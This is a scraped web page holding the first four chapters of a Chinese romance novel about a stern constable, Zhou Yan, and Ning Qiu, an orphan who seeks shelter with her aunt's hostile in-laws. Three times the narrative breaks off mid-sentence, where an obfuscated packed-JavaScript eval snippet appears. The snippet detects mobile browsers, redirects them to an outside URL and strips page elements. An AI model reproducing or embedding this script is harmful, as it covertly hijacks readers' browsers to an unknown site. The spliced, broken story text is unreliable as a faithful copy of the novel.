《夫君他面冷心热》 1. 初见 时至深秋，寒风凛凛不知疲倦，放肆地穿梭于平州的大街小巷，忽而玩心大起，一个旋转拂过树梢枝头，枯叶瞬间脱离枝丫，纷纷扬扬飘落，铺上满地金黄。 远远瞧过去，别有一番景趣，也为这座城增添几分秋色。 平州府衙内，周砚按吩咐收拾库房，搬搬抬抬一整天，现在就剩最后一个装着大刀的箩筐了。 他俯身抓住箩筐两侧，一个用力，手背青筋凸起，那一筐大刀随着他的动作腾空而起，很快便转移至兵器存放处。 混着尘土的汗水顺着他高挺的鼻梁滑落，落到一半，汗珠就如断了线的珍珠直直下坠，瞬间便隐于满地泥尘之中。 他长睫轻颤，感觉脸上有东西，便抬手用衣袖胡乱擦了擦，埋头继续干别的活。 “阿砚，一会儿下衙去喝酒吧？大虎、彭飞他们都去。” “我家里还有事，不去了，改日得闲再请你们喝吧！” 周砚头都不抬直接拒绝，显得格外冷漠。 “真不去啊？陈安这个扒皮难得开口请客，你不去就亏大发了。别人家起码有个婆娘管着，这不让那不让，你家又没有，到底什么事非得今日干？” 搭话的捕快姓陈，单名一个“淮”字，与请客的陈安是堂兄弟。 他为人直爽活泼，自来熟，平时最爱与人开玩笑。 因为和周砚家住同一条巷子，多年老邻居，两家关系极好，所以平时他对周砚多有照顾，有什么好事都想着周砚。 两年前，投军的周砚突然从外地回来，直接入平州府衙当差，适应环境的阶段就是陈淮从旁帮衬。 二人幼时便一块玩了，中间分隔多年略有些生疏，经过一段时间的接触，幼时的情谊通过长大后的了解，关系反而变得更加紧密。 周砚性子冷淡，不苟言笑，初回平州时，同僚们还会热情交好，一次两次得冷脸，都歇了交好的心思，见面不过客气点头就算是打过招呼了。 还是陈淮费心周旋，经常在同僚面前夸周砚，还说他只是长了张好看的“臭脸”，冷冰冰不爱笑，实则是个热心肠的人。 同僚们半信半疑，两年下来，大家伙总算习惯了冷脸的周砚，也相信了陈淮的话，时不时还会拖着周砚一块喝酒吃肉，兄弟情义便在衙门一次又一次的任务中渐渐加深。 陈安原本只是路过，听到堂哥与周砚的对话，赶忙跟着附和，道：“是啊是啊！今日我请客，事情不着急的话，就跟兄弟们一块去喝酒吧！平时大家都挺忙的，难得一聚，少了你可不行。” 他今年刚及冠，是整个府衙捕快中年纪最小的，平时有点怵周砚，是那种满心钦佩，却不敢主动靠近的状态。 今日若非有堂哥在，他就算想邀请周砚，也没那么容易说服自己开口。 “阿砚，去吧去吧！不然早早回家，婶婶还得念叨你。”陈淮半开玩笑说道。 周砚二十岁回到平州，身形样貌皆很出挑，又在府衙当差，很得知府大人看重，乃他们家那片区出了名的香饽饽。 然而两年下来，周母费心张罗，差不多把媒人得罪完了，周砚的亲事依旧没有任何进展。 面对死犟的儿子，周母不得已妥协了。 虽然不再张罗相看，但心里的愁绪半点不减，每日都要念叨很多遍。 “习惯就好。” 周砚不以为意，淡淡回了陈淮一句，想起母亲不厌其烦地絮絮叨叨，面上露出些许无奈神色。 他没将同僚的玩笑话放在心上，也明白同僚们是诚心邀请，冷峻的眉眼逐渐变得柔和，总算露出笑容来。 不过，他今日确实有事脱不开身，没法和他们去喝酒，便直言解释道：“已经和我娘说好，下衙就带她去医馆看病。” “这样啊！那喝酒就算了，婶婶身体怎么了？” 周砚：“老毛病了，没有大碍。” “那行，还是带婶婶去看病比较要紧，时辰到了，我们上街喝酒，这里忙完你也早点回家，明日见。” “好。” 约酒不成，陈淮就朝周砚挥了挥手，与陈安几人勾肩搭背离开。 周砚将库房地面打扫一遍，也离开府衙回了家。 * 周砚家住老槐巷十八号，同住一条巷子的基本都是平州本地人，多年老邻居，相处时间长了，或多或少都会有一点无伤大雅的小矛盾。 只要不影响邻里感情，小打小闹算不得问题，要是哪家有事，其他人也会积极帮衬。 互帮互助，邻里感情就越发深厚了。 特别是周砚投军那几年，家中只有周母一人，没少得邻居的帮衬，所以周砚回平州后，第一时间挨家挨户送了礼，感谢邻居们对他娘的照顾。 回来两年，若无过分之事，他对叔叔婶婶们也是客客气气的。 “砚哥儿，下衙了？”邻居王婶大嗓门一出，恐怕整条巷子都知道周砚下衙了。 他很无奈，还算礼貌地敷衍一句“是啊”就要走人，王婶赶忙追两步，悄摸摸问道：“哎，听说你娘又开始张罗你的亲事了，这次谈的是上元县的小娘子，你见过没，长得水灵不？” “没有吧？婶子您是听谁说的，我娘没跟我提及。” 周砚蹙眉，实在不喜欢在外谈论自己的私事，便道：“您放心，有好消息绝不会落下您，外人的胡说八道您别信。” “嗐，我晓得，才没有乱信嘞！” 王婶子空有一颗八卦的心，却不敢在周砚面前太放肆，一见周砚面色不对，她立马改口，解释道：“我是从秀芬嫂子那听来的，她是介绍人，不信你回家问问你娘。” 周砚点点头，应道：“好，我回去问问。” “问清楚点，要是得闲就去见见人家姑娘，你也老大不小了，早点娶妻你娘也能少操点心，实在不行，你就跟你娘说说喜欢什么样的姑娘，按你喜欢的找，总能找到合适的。” 王婶絮絮叨叨，越说越离谱，周砚都有些听不下去了。 “日子是过出来的，感情也能慢慢培养，你别太挑了，等下挑到最后，好姑娘都被别人家娶走了，到时候有的你哭咯。哎哟，我要去学堂接小孙子，回来还得做饭，先不跟你说了，婶子的话你回去也好好想一想，有什么想法跟你娘好好说道说道，听见没？” “嗯。” 周砚敷衍地应一声，看着王婶子急匆匆的背影，又叹了一口气，继续往家走，只是经过方才的对话，他心里总有种说不出来的滋味。 他对于男女之事并不热衷，娶不娶妻也不太在意。 只不过母亲年纪大了，看到左邻右舍都是一大家子，同龄人都有孙子孙女承欢膝下，每天热热闹闹和和美美，只有他们家一如既往冷冷清清，她心里难免有些羡慕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547071|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>加之巷子老邻居里有几个嘴碎的婶子，似乎与母亲有些龃龉，时常在背后嚼舌根，拿他迟迟不娶妻的事情说嘴。 周母一边因心疼儿子而选择尊重他的决定，一边又希望儿子能早点娶妻生子，好让她在嘴碎的街坊邻居面前扬眉吐气。 两种不同的观念日日折磨着她，时间一长，她自己便陷入牛角尖之中，时而难以自控。 这些问题周砚最近才想明白，只是不论男女，婚姻都是一辈子的大事，一定要慎重再慎重。 他不愿意为了应付长辈而违背自己的意愿，也不愿意另一个姑娘迫于长辈压力而不得不委屈自己嫁给他。 周砚低垂着眉眼，很快就收整好自己的情绪，心中有了计较。 看来，他得抽空拜访那几位婶婶了，也要与母亲坐下来正儿八经谈一谈。 老槐巷不大，周砚边想事情边走，没一会儿就到了家门口。 他心里想着事情，没怎么注意周围的情况，钥匙刚插.入锁扣，身后忽然传来“砰”的一声闷响，猝不及防，将他吓了一跳，紧接着就是枯枝被踩碎的脆响。 周砚还以为熟人路过，下意识回头，顺着声音的方向看去。 只见斜对门邻居家门口站着一个姑娘，看上去十六七岁的模样，黑发白衣，身形单薄，怀中还抱着一个湖蓝色的包袱，在瑟瑟秋风中显得格外可怜。 周砚看过去的瞬间，那姑娘正好抬眸看过来，四目相对，姑娘含着盈盈水光的漂亮眸子猛地睁大，如同受到惊吓的小鹿，只一眼就迅速避开，低下了头。 她下意识收了收双臂，将怀中的包袱抱的更紧了。 周砚捕捉到姑娘紧张害怕的情绪不由蹙眉，本着双方不认识多一事不如少一事的想法，他决定当做没看见，回身开门进了自己家。 关门前一刻，他又对上姑娘的眼神，手一顿，出于职责敏锐，那扇门到底还是没关上。 毕竟一个容貌秀丽的年轻姑娘，穿着寒酸，看着胆小怯懦，身边也没个伴，最容易被人贩子盯上了。 作为衙差，为官府为百姓做事，明知有那样的风险还放任不管，他良心上也过不去。 周砚做事一向果决，找到事情的重点，当即便开口问道：“姑娘眼生，不是老槐巷的人吧？你找谁，需要我帮忙吗？” “不……不需要，我……我找这家，这是我姑姑家。”姑娘指了指背后的门，弱弱回了一句，头垂得更低了。 “哦，你是来投亲的？他们两口子都在朱员外家做活，估计也快回来了，你再等等吧！” “嗯，多谢。” 知道姑娘是有目的的投亲，周砚放下心来。 “不必客气，城里也有坏人，你别乱跑。” “好。” 周砚面色冷肃，身上穿着官差的衣服，尽管刻意放柔了声音，说的也是关心的话语，可听在姑娘的耳中却不是那么一回事。 民怕官，二者有着天然的阶级差距，没遇到事之前，谁也不想见官。 试想你一个瘦弱的姑娘，家中逢难，一路风餐露宿好不容易来到亲戚家，又冷又饿独自呆在亲戚家门口，突然来了个高高壮壮的官差，先是一言不发地打量你，而后又板着脸审问你，换谁谁不怕？ 周砚心思敏锐，知道姑娘害怕他，便不再多言，缓缓将门关上，站在对门的姑娘也因此松了一口气。 2. 宁秋 姑娘姓宁，章回县人，因出生在立秋当日，父亲便给她取名为宁秋。 宁秋五岁丧母，与父亲相依为命，一晃就是十二载。 前年五月，父女俩花光所有积蓄在章回县城买下一处一进的宅子，家虽小，但很温馨，能让他们漂浮的心安定下来。 买宅子欠下五十两外债，经过他们两年的努力，能省则省，今年六月份也彻底还清了。 一切都在往好的方向发展，日子也越过越红火，偏偏这时候出了变故。 麻绳专挑细处断，父女俩的舒心日子才过两三个月，噩耗再次降临。 半个月前，宁父在给小童上识字课时突然晕倒，短短几息功夫，便绝了生机，连送去医馆救治的机会都没有。 宁秋悲痛欲绝，在邻居的帮衬下勉强操办完父亲的丧事。 邻居尚且能做到这一步，偏偏那些有血缘关系的亲人一个没来。 宁秋不在乎所谓亲人的态度，只伤心阿爹离她而去，面对空荡荡的家，她感觉自己的心也随之空了。 一介孤女，年轻秀丽，手握恒产，还有一门能赚银子的刺绣手艺，免不得会被有心人觊觎，未来的她又该何去何从呢？ 宁秋整颗心都被悲伤和忧虑占据，然而没等她想明白未来的路该如何走，麻烦就自己找上门了。 多年无往来的大伯二伯不安好心妄图做她的主，将她许给一个泼皮无赖做续弦，如此荒唐，宁秋又如何能答应？ 那泼皮无赖见她不愿配合心生歹念，趁着夜色欺上门，慌乱间，宁秋咬牙发狠，一花瓶下去将人砸晕拖到巷口外，又连夜收拾包袱逃离。 她躲躲藏藏担惊受怕，好不容易来到平州，一路打听才找到姑姑家，虽然还没进门，但心境比之前要安定许多。 爹常说所有亲戚中只有姑姑对她还算不错，后来姑姑到州府大户人家做丫鬟，嫁给了同在府中做活的姑父庞桥，两边就很少往来了。 宁秋心里也没底，不知道姑姑愿不愿意收留她，想到这，她抱着包袱的双臂不自觉收紧，茫然地望向灰蒙蒙的天空，眼眶再度泛起了红。 这个时辰，暮色渐深，忙碌了一整天的邻居们陆陆续续收工回来，身上是掩饰不住的疲惫。 他们路过宁姑姑家时，看见缩在角落的宁秋都忍不住投去好奇的目光。 大多数人不爱管闲事，看两眼就回自个家了。 只有两三个热心的婶婶上前询问情况，得知宁秋是来投亲的便不再多言，好心叮嘱一二就各回各家。 周砚带母亲外出看病，一来一回，见宁秋还在门口站着不禁蹙眉，周母进门前特意问了一嘴，“姑娘，瞧你站了许久也累了吧？要不要到婶子家喝口茶水歇歇脚？” “多谢婶子，我姑姑、姑父也快到家了，就不打扰您了。” 宁秋腼腆一笑，怯生生回了一句，余光瞥向站在门边的周砚，只一眼，正好触及周砚投来的视线，瞬间如同有万千电流闪过，她迅速避开，低下了头。 说起来，周母与宁姑姑还有些龃龉，大吵一架后半年没再说过一句话，碰面全当没看见。 今日不过是周母觉得宁秋一个小姑娘看着可怜，多一句嘴，既然人家不领情，她也没必要上赶着热脸贴冷屁股，非亲非故，是好是坏本就与她无关。 周母点点头，随意应一声“行”，大跨步进了自家门还不忘回头招呼周砚赶紧跟上。 大门一关，宁秋莫名松了一口气，再次龟缩回角落里，一边关注巷口方向，一边像偷儿般窃听左邻右舍充满生活气息的幸福声音。 炊烟袅袅，鸡鸣狗吠，孩童的嬉戏打闹声夹杂着大人的交谈声，傍晚的老槐巷比白日更有烟火气。 此情此景，她不免想起了故去的阿爹，想起那个在厨房忙活还不忘抽空问她想吃什么的身影。 察觉到泪水有汹涌之兆，宁秋赶忙抬起头，努力克制那股折磨人的负面情绪，她等啊等，又冷又饿，终于在天彻底黑下来之前等到了身后宅子的主人，心也在此刻提了起来。 她不敢上前，忐忑地望着不远处的人，看着他们一步步靠近，终于，他们的目光看向了她。 “姑姑。” 宁秋轻唤，声音哽在喉间似出未出，脑子里有一瞬间的空白，缓了缓，她继续道：“姑姑，我是宁秋。” 宁姑姑今日干活走神，被管事大骂一顿差点挨罚钱，回来路上与自家男人说起，才抱怨两句，安慰没有反被数落，心情简直差到了极点。 刚进巷口，她就注意到站在家门口的姑娘，身形纤细，一袭白衣怯生生站在那里，即便什么没说什么没做，也莫名引人怜惜。 鉴于家中男人有前科，她便先入为主，认为是风流债找上门了，心里憋屈难受，却不敢露出任何一点不满的情绪。 “姑姑。”宁秋见宁姑姑没有反应，心下一沉，尝试着又唤了一声。 宁姑姑恍然回过神来，凝眉疑惑问道：“你是秋秋？你一个人来的？你爹呢？” 平州与章回县相距有些远，乘坐牛车单程都要四日，脚程所花时间更长。 宁父过世时宁秋实在太伤心了，根本顾不上通知这边，大伯二伯还是村里熟人得知后将消息传回去的。 宁秋神色一滞，泪水瞬间盈满眼眶，唇瓣微微颤抖着，哽咽道：“阿爹半个月前去了。” “去……去了？”宁姑姑不可置信地瞪大双眼，生怕是自己会错意，追问道：“何意？你这孩子说话怎么不清不楚的，可是我……我想的那个意思？” 宁姑姑的声音也有些颤抖，目光不离宁秋的脸，将她的表情变化全部收入眼中，心里已经有了答案。 “年纪轻轻怎么就……”宁姑姑有些说不下去了，今日在主家遭受的委屈全部被伤心埋没，“半月前出的事，你这孩子怎么不告诉姑姑一声啊，你爹是如何去的？” “当日正给孩子们上着课，突然晕倒，还未送到医馆就没了气息。” 宁秋只觉得喉咙仿佛被什么东西堵住了，短短一句话，说的甚是艰难，话音一落，她再也控制不住喷涌的情绪，放声大哭。 宁姑姑将宁秋拥入怀里，哽咽着安慰道：“好孩子，别哭了，你爹在天有灵肯定也不希望你沉浸在悲伤中，日子还长，活着的人总要过下去。” 此时此刻，姑侄俩的心情是一致的，至亲血脉，即便是分隔两地，心里也会惦记着，如今更是阴阳相隔，此生都不可能再见了，又怎能不悲伤，不难过？ 姑侄俩抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547072|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起哭得忘乎所以，动静大了，总有些好热闹的邻居探头探脑，她俩无知无觉，在旁被冷落的庞桥却是一脸不耐，腮边抽动的肌肉也昭显着他此时的不满。 “哭哭哭，福气都被你们哭没了，真晦气。” 突如其来的骂声将宁秋姑侄吓了一大跳，连眼泪都顾不得擦齐齐朝庞桥看去。 “看什么看，丧气玩意，真丢老子的脸，要哭滚回家里哭，屁大一点事就在家门口嚎，是嫌笑话不够看吗？还是怕别人不知道你们身上带了丧？晦气！” 庞桥眼含不屑，目光在宁秋身上一转，又朝探头的几家邻居扫过去，自觉没脸狠狠推了宁姑姑一把，冷哼一声进了家门。 宁秋愤怒于庞桥所言，望向宁姑姑的目光满是踌躇与纠结，不知自己该不该跨进这个门槛。 她对姑姑的印象来源于几封信件以及阿爹的碎碎念，真论起来，姑侄俩还真没多大感情，不过是亲缘羁绊罢了。 至于姑父，只他与姑姑成亲时见过一回，今日第二回见却是这样的反应。 再看他对待姑姑的态度毫无尊重可言，呼来喝去，姑姑在姑父面前明显没有什么话语权，也做不得这个家的主。 宁秋深吸一口气，理智稍稍回笼，明白姑姑无法给予她庇护，若想平平安安活下去，还是要趁早寻找新的出路。 平州断不能久留。 宁秋正想着，感受到手中包袱被扯动，警惕的眼神立即看过去，便听宁姑姑略带尴尬地说道：“秋秋莫要多想，你姑父就是这个脾气，没别的坏心思，走，有什么事进家里再说，盛哥儿和秀云随他们爷奶回村吃席去了，明日才归家，今晚你便睡秀云那屋吧！” “嗯，麻烦姑姑了。” 宁秋乖巧地点点头，客气回了一句，将自己心中最真实的想法遮掩起来，打算走一步看一步。 宁姑姑见她面上无异，忙笑道：“都是一家人说什么谢，太见外了，往后就当是自己家，该干嘛就干嘛。” 她说的随意，宁秋却不敢当真，敷衍地应和两句便同她一块进了宅子。 宅子只有一进，建造布局比宁秋家要宽敞些，多两个房间，庭院里堆满了竹篾和木板，工具随地搁置，看着很是凌乱。 “盛哥儿他爷爷是个工匠，平时接点木工活编几个竹筐竹篮挣钱，瞧着有些乱，你当没看见就好了。” 宁姑姑见宁秋打量地上一堆东西随口解释了一句，想了想，又征询意见般问道：“我与你姑父已经在主家吃过晚饭，稍后给你煮碗面凑活吃一顿，可行？” “不……不用了……”宁秋自己也觉得不好意思，刚想拒绝，肚子突然咕咕响起来，二人闻声皆是一愣。 “那就多谢姑姑，我给您添麻烦了。” 宁秋赶忙改口，实在没想到打脸来的如此迅速，恨不得找个地缝钻进去，窘迫的心境难以言说。 宁姑姑好歹是长辈，倒没把这种小事放心上，将宁秋带去秀云的屋子，点亮烛灯才转身去厨房忙活。 秀云的屋子狭小，布置很简单，一张床，床边放了张凳子充当床头桌，还有一个装衣服的箱笼，床帐颜色灰扑扑的，上面打了三四个补丁。 宁秋的视线大致在屋中一扫，心中便有数了。 3. 矛盾 论家境，两家条件差距不大，可同样是闺女，秀云与宁秋的待遇相差甚远。 宁父就宁秋一个闺女，几乎是捧在手心养大，能力范围内尽可能给她最好的，闺房布置全按她的喜好，其他姑娘拥有的东西，他也尽可能为她准备。 宁秋从不羡慕别人，也不和别人比较，因为在有限的条件里，她已经得到最好的爱了。 反观秀云的房间，狭小逼仄，家具物品缝缝补补，倒像是其他人用过后淘汰换下来的。 屋里没有一个像样的柜子，也没有梳妆铜镜，角落里甚至还堆放着杂物，怎么看都不像未婚姑娘的闺房。 当今世道重男轻女的现象很常见，光凭这间屋子也能猜到秀云在家中的处境了。 宁秋轻叹，将包袱搁置在床榻上，侧身倚靠床架子，双目放空，脑子里乱作一团，想要捋清楚思绪却迟迟找不到合适的入口。 她并不想掺和别人家如何教养孩子，只想早些摆脱强加到身上的破烂事，恢复平静的生活。 阿爹留给她的宅子是他们父女俩辛苦赚来的，让她拱手给别人绝对不可能。 只是她一介孤女，背后没有靠山，仅凭自己只有任人宰割的份，还是要支愣起来，想想别的法子。 “秋秋，面好了，赶紧出来吃点。” 宁秋还在胡思乱想之际，门口传来宁姑姑喊吃面的声音，她赶忙晃晃脑袋，先将各种负面情绪抛开，大声回道：“好，我这就来。” 一碗没油没盐配咸菜的清汤面便是宁秋今日的晚餐了，不好吃，但暖心管饱。 平静地度过一夜，宁秋也睡了大半个月来最安稳的一觉。 翌日天还没亮，庞家小院里就响起一阵霹雳乓啷的声音，中间夹杂着男人不堪入耳的谩骂，什么“懒货”、“赔钱货”，言语间满是恶意。 宁秋潜意识里还留存着逃亡时的警惕，听到声响，整个人瞬间清醒，猛地坐起身环顾四周。 屋子里漆黑一片，她恍然想起自己已在姑姑家，住的是秀云表妹的房间，顿时松了一口气，正犹豫要不要起床，房门突然被敲响。 叩叩叩…… 宁秋感觉心跳漏了半拍，朝门口望去，便见一门之隔亮着烛灯，盈盈有光线透进来，从门上映出的身影可以判断来人是姑姑宁巧娘。 “秋秋，你醒了吗？” “啊？哦，姑姑，我醒了。”宁秋当即应声，一边手忙脚乱穿衣裳，一边走向门口，隔着门问道：“姑姑，怎么了？” 宁巧娘支支吾吾，回头看了一眼丈夫，并未直接回答宁秋的问题，敷衍道：“没什么大事，就是我和你姑父准备去朱员外府上做工，家里没人，有些事需要交代你，既已醒来，起床洗漱，说完事情我们就出门了。” “好。”宁秋眼中流光一转，心有疑惑，但还是乖巧应声。 她匆匆将衣裳穿好开门走出来，凉凉的秋风顷刻间拂来，不禁打了个寒颤，将身上单薄的衣裳紧了紧。 宁巧娘一看见她，畏畏缩缩的神情立马收敛，慈爱道：“好孩子，本该让你多睡一会儿，奈何家中事多，秀云他们得午后才回来，我与你姑父不得闲，只能叮嘱你闲时搭把手了。” 宁秋点点头，唤了声“姑姑”，不太明白对方的意思，客气回道：“您有话直说就是，我能做的定然不推辞。” 她动作有些拘谨，视线一转，借着微弱的烛光看见了蹲在隔壁屋门口的庞桥。 庞桥身着朱府管事的服饰，面庞在昏暗的光线下看不真切，正端着一海碗面大快朵颐。 “姑父。” “嗯。”庞桥听到宁秋的声音，也只是淡淡瞥一眼，没当一回事。 宁秋有些尴尬，知道姑父不欢迎她，想要离开的心就更坚定了。 “你姑父就这样，别理他，走，姑姑同你说。” 宁巧娘一边小心翼翼观察丈夫的脸色，一边拉着侄女往厨房走。 一刻钟后，宁巧娘夫妻踏着晨间朦胧的天色双双离家，剩下宁秋孤零零留在宅子里。 锅里还剩一点面条，加上汤水勉强凑够一碗，许是放置的时间太长，面条在汤水中已经泡坨了。 宁秋望着锅里卖相极差的面条，无奈苦笑，用大勺扒拉一下，看到汤水底下有细小的鸡蛋白碎，手一顿，接着将面条捞出来默默吃完。 心里什么感受她自己也说不清，但是她想阿爹了。 吃完面条，宁秋想起姑姑的叮嘱捞起扫把就开干。 她手脚麻利，将厨房里里外外收拾妥帖，庭院中的木头竹子也分类摆放好，好不容易忙完一茬，一身黏腻来不及清理便见日头已经升至半空，她看了眼摆在角落的脏衣服箩筐，认命地打水洗衣晾晒。 一忙就是半日，至午时，宁秋终于得以歇一歇，肚子也咕咕叫起来。 那碗面条汤水占了大半，根本不顶饱，干活半天没停下，五脏庙早就受不住了，还得正儿八经吃一顿饭。 宁秋进厨房看了一圈，只看见橱柜里有四五个鸡蛋，瓦缸里也空荡荡的，连一粒米都不剩，不禁蹙起眉头。 “也是巧了，连米都没有。” 她随口嘀咕一句也没多想，打盆凉水擦去一身汗渍，换套干爽的衣裳出门了。 逃跑那晚时间比较紧急，宁秋只来得及收拾房契、衣裳和些许盘缠，偷偷摸摸赶一路花掉不少，身上只剩下五两碎银子。 她很清楚自己的处境，这点银子要留着傍身，能不用最好不用，但如今寄人篱下，姑父家本就存在重男轻女的问题不待见她，若她白吃白住，哪怕只有三两日，恐怕姑父心里也会记她一笔。 至于表弟表妹和亲家长辈会如何想，还没见过面宁秋暂且不好下定论。 若阿爹还在世，亲戚什么的无所谓，可阿爹已经不在了，仅剩一个还没闹翻的血脉亲人她一时半会儿还舍弃不下，心中纠结无比。 姑姑出门前叮嘱她做晚饭，说亲家两位长辈和表弟表妹傍晚能到家，要三菜一汤，不能加辣椒，因为表弟吃不了。 做饭没问题，问题是姑姑姑父匆匆忙忙离开并没有给她买菜钱，家里又什么都没有，怎么做？ 这会儿，宁秋正盯着手中的碎银陷入沉思。 她怀疑那两口子是故意的，但是她没有证据。 “罢了，随便弄几个菜糊弄过去，有事等姑父姑母回来再说。” 宁秋不再纠结，从碎银中挑了最小一块揣兜里方便取用，余下银子被她小心翼翼装进裤腿小袋缝起来用外裙摆盖上，走路时有轻微异物感，但随身携带很让她安心。 她刚来平州，不认得路，出门后找了家生意不太好的馄饨店解决午饭，滋味出乎意料的好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547073|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃完又向店老板打听菜市的位置。 店老板见她面生就多问了两句，知晓她来投亲，才将周围的情况细细讲述。 平州城官方建立的菜市场在闹市区西面，距离老槐巷甚远，靠两条腿走过去至少得花一个时辰，光听听就觉得累人得紧。 “那边菜市规模大，吃的用的什么都有，还有官爷管辖，质量有保障，品类多，就是贵，咱们平头老百姓赚点钱不容易，吃穿用度也没那么讲究，一般不会特意跑那么远买，会去那边的大多是官老爷府邸的采买或者富户家。” “大家伙平时都去哪买菜？”宁秋问。 正巧馄饨店有客上门，店老板忙着招呼客人便匆匆指路道：“顺着这条街走下去有个菜农自发摆摊的小菜市，你去那看看。” 店老板说完也顾不得宁秋开始忙活起来。 宁秋也识趣，客气道谢后按照店老板指路的方向慢悠悠走下去，果真看到一个小型菜市场。 她不急着采买，一个个摊子对比价格，最终挑了家卖相一般但很实惠的摊子，水瓜来一个，青菜一把，又要了一把小葱。 菜摊隔壁是买豆腐的，老板见宁秋买了葱便殷情地推销自家豆腐，宁秋想想就要了两块，交易达成，买卖双方都很满意。 小菜市摆在街道两旁，周围铺子做的买卖也与吃食有关，宁秋悠哉悠哉路过一个烧卤肉铺，差点被卤肉的香味馋哭。 想想自己扁扁的荷包，她还是选择了放弃。 卤肉是熟食，独家配方，滋味好，自然也贵些，只是宁秋囊中羞涩，于她而言还不如割一斤猪肉划算。 并不是她小气舍不得请姑姑一家吃肉，实在觉得没必要，有猪肉吃已经很不错了，日子还长，不知前路在哪，她总得为自己多打算些，能省一点是一点。 米粮铺与猪肉摊紧挨着，宁秋割完猪肉又去买三斤糙米，将提前准备的银钱花完才提着大包小包回老槐巷。 猪肉吊入井中保鲜，宁秋望着整洁的院落满意地点点头，回秀云屋睡午觉。 也不知过了多久，庭院里吵吵嚷嚷，将睡梦中的她吵醒。 “你个死丫头，这点小事都做不好，要你有什么用，白养那么大，连自家弟弟都看护不好，瞧这手臂摔的，都出血了，摔跤的怎么不是你啊？死丫头，哎哟，奶的乖孙，莫哭莫哭，都怪你姐。” 小孩子尖利的哭喊加上老妇人的谩骂低哄声，整一个鸡飞狗跳。 宁秋睁大双眼盯着满是补丁的床帐顶，耳畔是外头讨人厌的声音，想忽视都难。 这日子没法过了。 主人家回来，她作为客人，装聋作哑是不成了，太失礼，与她十几年所受的教养相悖。 “唉！” 宁秋悠悠轻叹，已经算不清这半个月来自己叹过多少回。 门“吱呀”一声响，顿时将院中四人的注意力全部吸引过去，几人面面相觑，皆被突然出现的姑娘吓了一大跳。 庞母蹙眉面露不善，视线不停地打量宁秋，三角眼微微眯起，开口质问道：“你是何人，怎么在我家？” 盛哥儿也不哭了，抬头好奇地盯着宁秋看。 宁秋眉眼带笑，将几人的神色变化尽收眼底，温声介绍自己道：“我叫宁秋，您儿媳妇是我姑姑，因家中发生变故特来告知，暂住几日，打扰了。” 4. 挤兑 “侄女？” 庞母自诩城里人看不上出身乡野的儿媳妇，平日里处处挑剔，更甚者不允许其回娘家探望，担心儿媳妇胳膊肘往外拐，拿家里的东西贴补娘家。 这会儿见到宁秋，下意识认为她是来打秋风的，自然不会给好脸色。 “你们家好没规矩，有事联系至亲也该让男丁来，姑娘家家到处跑也不嫌丢人。” 宁秋一听这话心里很不舒服，忍了又忍，怕自己情绪失控给姑母添麻烦，干脆垂首敛眉，用沉默去抵制那些难听的话。 “怎的？” 庞母冷哼一声，白眼都快翻上天了。 “乡下来的果真没规矩，长辈说话不好好听着，甩脸子给谁看啊？没教养的死丫头。” “庞家奶奶，您这话我不爱听。” 宁秋着实气的不轻，当即也顾不得什么礼节，呛声道：“您二老今日不也是从乡下回城吗？谁家没个乡下祖宗。” “我阿爹就我一个孩子，我是姑姑的亲侄女，亲戚往来你拜访我，我拜访你，乃很正常之事，哪里不合规矩了？再者，奶奶您也是女子，出嫁几十年难道不与娘家人往来吗？还是说您走亲戚前特意通知一声，让女性亲戚都回避？” “你……” 庞母被这话一噎，想到几十年不曾往来的娘家人，又忆起溺死在娘家池塘中的长子，心里很不是滋味，看向宁秋的眼神越发不善。 半晌后，她才恨声讥讽道：“呸，好一张伶牙俐齿的嘴，秀才公就是这样教你的？真是好得很。” 换作平时，庞母定要不管不顾撒泼一场，将宁秋赶出去。 不敬长辈的贱蹄子，看到就闹心。 今日却不行。 回来时左邻右舍说了几句奇奇怪怪的话，那会儿庞母还不知道家中有客人，现下见着宁秋总算明白怎么回事了。 感情这妮子还是个心思多的，早将自己的身份搅得人尽皆知。 今天把人赶出去，不等天黑，关于庞母恶毒不容人的闲话就会传遍整个老槐巷。 想象以后出门总有人在背后指指点点，好面子的庞母实在无法接受。 “庞奶奶过奖了，我阿爹向来公允，帮理不帮亲，教导我要做个讲理的人。” 宁秋假装没听懂话中的嘲讽，厚脸皮接受了“夸奖”。 她越是不在意，庞母就越跳脚，当即道：“呸，还真是不要脸，好赖话都听不懂，懒得和你说，乖宝，跟奶走，奶给你拿糖吃。” 说着，庞母不再理会宁秋，牵着宝贝孙子进屋了。 庞父在旁幽幽看了宁秋几眼，一言不发也回了屋。 转眼的功夫，庭院内只剩下无奈的宁秋和郁郁沉沉的秀云。 